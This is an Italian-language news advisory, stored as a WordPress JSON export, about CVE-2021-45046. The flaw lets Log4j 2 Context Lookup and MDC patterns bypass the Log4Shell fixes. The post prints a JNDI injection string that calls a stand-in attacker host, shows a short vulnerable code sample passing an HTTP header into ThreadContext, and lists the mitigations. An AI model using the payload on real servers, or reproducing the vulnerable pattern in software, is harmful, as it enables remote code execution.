{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Una nuova variante di attacco su Log4j 2 permette di bypassare la protezione aggiunta.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
\u00c8 stata identificata un'altra vulnerabilit\u00e0 (CVE-2021-45046) nelle sostituzioni JNDI nella libreria Log4j 2, manifestandosi nonostante le correzioni aggiunte nella versione 2.15 e indipendentemente dall'uso dell'impostazione «log4j2.noFormatMsgLookup» per la protezione. Il problema rappresenta un pericolo soprattutto per le vecchie versioni di Log4j 2, protette tramite il flag «noFormatMsgLookup», poich\u00e9 consente di eludere la protezione dalle vulnerabilit\u00e0 precedenti (Log4Shell, CVE-2021-44228), che permette l'esecuzione di codice sul server. Per gli utenti della versione 2.15, lo sfruttamento \u00e8 limitato alla creazione di condizioni per un arresto anomalo dell'applicazione a causa dell'esaurimento delle risorse disponibili. <\/p>\n
La vulnerabilit\u00e0 si manifesta solo sui sistemi in cui si utilizzano richieste contestuali (Context Lookup) nella registrazione, come ${ctx:loginId}, o schemi MDC (Thread Context Map), ad esempio %X, %mdc e %MDC. Lo sfruttamento consiste nel creare condizioni per la registrazione di dati contenenti sostituzioni JNDI quando vengono utilizzate richieste contestuali o schemi MDC che determinano le regole di formattazione dell'output nel log. <\/p>\n
I ricercatori di LunaSec hanno osservato che per le versioni di Log4j inferiori a 2.15, questa vulnerabilit\u00e0 pu\u00f2 essere utilizzata come un nuovo vettore per l'attacco Log4Shell, che porta all'esecuzione di codice se nei log vengono utilizzate espressioni ThreadContext contenenti dati esterni, indipendentemente dall'attivazione del flag di protezione «noMsgFormatLookups» o dal modello «%m{nolookups}».
<\/center> <\/p>\n
L'elusione della protezione consiste nel fatto che invece della sostituzione diretta «${jndi:ldap:\/\/attacker.com\/a}», questa espressione viene inserita tramite il valore di una variabile intermedia, utilizzata nelle regole di formattazione dell'output nei log. Ad esempio, se nel log viene utilizzata la richiesta di contesto ${ctx:apiversion}, l'attacco pu\u00f2 essere condotto sostituendo i dati «${jndi:ldap:\/\/attacker.com\/a}» nel valore assegnato alla variabile apiversion. Esempio di codice vulnerabile: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ Il valore dell'intestazione HTTP «X-Api-Version» viene passato a ThreadContext ThreadContext.put(«apiversion», apiVersion); \/\/ Quando viene registrato, il valore esterno di apiversion sar\u00e0 elaborato usando la sostituzione ${ctx:apiversion} logger.info(«Received a request for API version»); return «Hello, world!»; } <\/p>\n
Nella versione Log4j 2.15, la vulnerabilit\u00e0 pu\u00f2 essere sfruttata per eseguire attacchi DoS passando a ThreadContext valori che causano un ciclo infinito nell'elaborazione del modello di formattazione dell'output.
<\/center> <\/p>\n
Per bloccare la vulnerabilit\u00e0, sono stati rilasciati gli aggiornamenti 2.16 e 2.12.2. Nell'branch Log4j 2.16, oltre alle correzioni implementate nella versione 2.15 e il binding delle richieste JNDI LDAP a \u2018localhost\u2019, la funzionalit\u00e0 JNDI \u00e8 disabilitata di default e il supporto per i modelli di sostituzione dei messaggi \u00e8 stato rimosso. Come soluzione alternativa per la protezione, \u00e8 consigliato rimuovere la classe JndiLookup dal classpath (ad esempio, \u2018zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class\u2019). <\/p>\n
\u00c8 possibile monitorare l'apparizione delle correzioni nei pacchetti sulle pagine dei distributori (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dei produttori delle piattaforme Java (GitHub, Docker, Oracle, vmWare, Broadcom e Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ecc.). \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Una](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Una](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n